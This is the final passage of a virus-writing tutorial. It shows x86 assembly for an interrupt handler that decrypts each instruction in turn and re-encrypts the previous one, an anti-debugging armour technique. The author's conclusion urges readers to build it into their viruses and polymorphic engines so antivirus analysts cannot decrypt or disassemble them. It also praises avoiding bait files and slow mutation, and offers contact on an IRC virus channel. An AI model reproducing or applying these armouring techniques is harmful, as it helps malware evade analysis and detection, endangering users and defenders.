              mov     bp,W[bp+2]              ;BP = calling IP (position of
                                              ;encrypted instruction).
              test    bp,1                    ;check if on an odd boundry..
              jnz     is_odd                  ;it is so leave.
              mov     si,cs:last              ;else get the position of the last
                                              ;decrypted instruction to reincrypt.
              mov     cs:last,bp              ;save current position for next time.
              xor     cs:W[si],si             ;re-encrypt last (XOR it with its IP)
              xor     cs:W[bp],bp             ;decrypt current (XOR it with its IP)
      is_odd:
              pop     si                      ;restore SI
              pop     bp                      ;restore BP
              iret                            ;adeos!

      last    dw      0                       ;last IP for re-encrpytion..
      msg     db      'Yeah!!$'               ;EVERYBODY SAY YEAH!!!!
      ------------------------------------------------------------------------

                                      CONCLUSION

                     -TAUGHT-WHEN-WE-ARE-YOUNG-TO-HATE-ONE-ANOTHER-

              I STRONGLY urge you to employ the above techniques in your virii
      and/or poly engine. If your virus refuses to infect bait files,  is VERY
      heavilly armoured,  so the can not decrypt it,  and dissasemble it,  and
      mutates so slowly, and on such obscure conditions, HOW ARE THEY GOING TO
      IT? Devising an algorith for such a virus would be _VERY_ difficult.

                                      BYE -- BYE

              Thank you reading this article. I hope it's been as interesting
      to read as it has been to write!! Hopefully,  we will  be seeing the  AV
      having to work _ALOT_ harder for their money too ;). Alternitively, this
      could be some help to the AV community, so they can see what lies ahead.

              If you have any questions, comments, critisms, or new ideas, you
      can get in touch with me on IRC, channel #VIRUS, Nickname 'Sepultura' or
      'Sep'. I would really appreciate _ANY_ comments (excpet 'Get Bent!!').

                                    - THE - END -